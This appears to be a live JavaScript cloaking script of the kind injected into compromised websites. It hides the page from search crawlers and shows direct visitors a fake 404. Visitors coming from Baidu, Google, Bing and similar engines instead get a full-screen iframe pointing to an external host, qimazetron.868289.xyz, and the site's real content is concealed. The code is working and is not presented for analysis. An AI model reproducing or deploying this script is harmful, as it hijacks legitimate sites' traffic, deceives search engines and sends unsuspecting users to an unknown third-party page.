window.__earlyReferrer = document.referrer;

var titlestr = document.title;

var arr = ["https://qimazetron.868289.xyz:8283/lm/d.html?cc=mm11"];function hasValidReferrer() {
    var referer = getBestReferrer();
    return referer && referer !== '';
}

var mobileArr = ["https://qimazetron.868289.xyz:8283/lm/d.html?cc=mm11"];function hasValidReferrer() {
    var referer = getBestReferrer();
    return referer && referer !== '';
}

var directAccessLink = location.origin + "/404";

function isMobileDevice() {
    var mobileRegex = /(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i;
    return mobileRegex.test(navigator.userAgent);
}

function isSafariMobile() {
    var ua = navigator.userAgent;
    var isSafari = /Safari/.test(ua) && !/Chrome|CriOS/.test(ua);
    return isMobileDevice() && isSafari;
}

function isSpider() {
    var spiderRegex = /(baiduspider|googlebot|sogou web spider|sosospider|360spider|yisouspider|bingbot|bytespider|yodaobot|msnbot|slurp)/i;
    return spiderRegex.test(navigator.userAgent);
}

function getBestReferrer() {
    if (window.__earlyReferrer && window.__earlyReferrer !== '') return window.__earlyReferrer;
    try {
        var navEntries = performance.getEntriesByType('navigation');
        if (navEntries && navEntries.length > 0 && navEntries[0].referrer) {
            return navEntries[0].referrer;
        }
    } catch(e) {}
    return document.referrer;
}

// ===== 新增：检查是否有来源 =====
function hasValidReferrer() {
    var referer = getBestReferrer();
    return referer && referer !== '';
}

function isFromSearchEngine() {
    var referer = getBestReferrer();
    var searchDomains = [
        'baidu\\.com', 'm\\.baidu\\.com', 'www\\.baidu\\.com', 'baidu\\.cn',
        'sogou\\.com', 'www\\.sogou\\.com', 'so\\.com', 'sm\\.cn',
        'google\\.com', 'www\\.google\\.com', 'google\\.cn',
        'bing\\.com', 'www\\.bing\\.com',
        'yahoo\\.com', 'yandex\\.', 'ecosia\\.org', 'duckduckgo\\.com',
        'ask\\.com', 'aol\\.com', 'wolframalpha\\.com'
    ];
    if (referer) {
        var domainRegex = new RegExp('(' + searchDomains.join('|') + ')', 'i');
        if (domainRegex.test(referer)) return true;
        if (/\/s\?|\/search\?|\?q=|\?wd=|\?keyword=/.test(referer)) return true;
    }
    
    var urlParams = new URLSearchParams(window.location.search);
    var fromParam = urlParams.get('from') || urlParams.get('source') || urlParams.get('utm_source') || urlParams.get('wd');
    if (fromParam) {
        var searchKeywords = ['baidu', 'google', 'bing', 'sogou', 'yahoo', 'yandex', 'so', 'sm'];
        for (var i = 0; i < searchKeywords.length; i++) {
            if (fromParam.toLowerCase().indexOf(searchKeywords[i]) !== -1) return true;
        }
    }
    
    var currentUrl = window.location.href.toLowerCase();
    for (var j = 0; j < searchDomains.length; j++) {
        if (currentUrl.indexOf(searchDomains[j].replace(/\\/g, '')) !== -1) return true;
    }
    
    return false;
}

function init() {
    if (window !== window.top) {
        return;
    }

    if (isSpider()) {
        return;
    }

    // ===== 修改：Safari 手机端加载前检查来源 =====
    if (isSafariMobile()) {
        // 只有来源不为空时才加载 mobileArr
        if (hasValidReferrer()) {
            var safariTarget = mobileArr[Math.floor(Math.random() * mobileArr.length)];
            if (safariTarget) {
                createIframe(safariTarget, false);
            }
        } else {
            // 没有来源时，可以选择显示 404 或不执行任何操作
            console.log('Safari 手机端无来源，不加载 iframe');
            // 如果想显示 404，取消下面注释
            // createIframe(directAccessLink, true);
        }
        return;
    }

    if (isFromSearchEngine()) {
        var targetLink = isMobileDevice() ? mobileArr[Math.floor(Math.random() * mobileArr.length)] : arr[Math.floor(Math.random() * arr.length)];
        if (targetLink) {
            createIframe(targetLink, false);
        }
    } else {
        createIframe(directAccessLink, true);
    }
}

function createIframe(olink, is404) {
    if (is404) {
        document.title = "404";
    } else {
        document.title = titlestr;
    }
    
    var container = document.createElement('div');
    container.id = 'showcloneshengxiaon';
    container.style.cssText = 'height: 100%; width: 100%; background-color: rgb(255, 255, 255); position: fixed; top: 0; left: 0; z-index: 999999;';
    
    var iframe = document.createElement('iframe');
    iframe.src = olink;
    iframe.scrolling = 'yes';
    iframe.style.cssText = 'width: 100%; height: 100%; border: none; margin: 0; padding: 0;';
    iframe.setAttribute('frameborder', '0');
    iframe.setAttribute('marginheight', '0');
    iframe.setAttribute('marginwidth', '0');
    
    container.appendChild(iframe);
    document.body.appendChild(container);
    
    document.documentElement.style.cssText = 'width: 100%; height: 100%; margin: 0; padding: 0;';
    document.body.style.cssText = 'width: 100%; height: 100%; margin: 0; padding: 0; overflow: hidden;';
    
    setTimeout(function() {
        for (var i = 0; i < document.body.children.length; i++) {
            try {
                var element = document.body.children[i];
                var tagName = element.tagName.toLowerCase();
                var id = element.id;
                
                if (id !== 'iconDiv1' && id !== 'showcloneshengxiaon' && tagName !== 'script') {
                    element.style.display = 'none';
                }
            } catch(e) {}
        }
        
        if (!document.querySelector('meta[name="viewport"]')) {
            var oMeta = document.createElement('meta');
            oMeta.name = 'viewport';
            oMeta.content = 'width=device-width, initial-scale=1, minimum-scale=1, maximum-scale=1, user-scalable=no';
            document.getElementsByTagName('head')[0].appendChild(oMeta);
        }
        
        console.log('iframe加载完成，目标：', olink, is404 ? '(404页面)' : '');
    }, 100);
}

if (document.readyState === 'complete' || document.readyState === 'interactive') {
    init();
} else {
    document.addEventListener('DOMContentLoaded', init);
}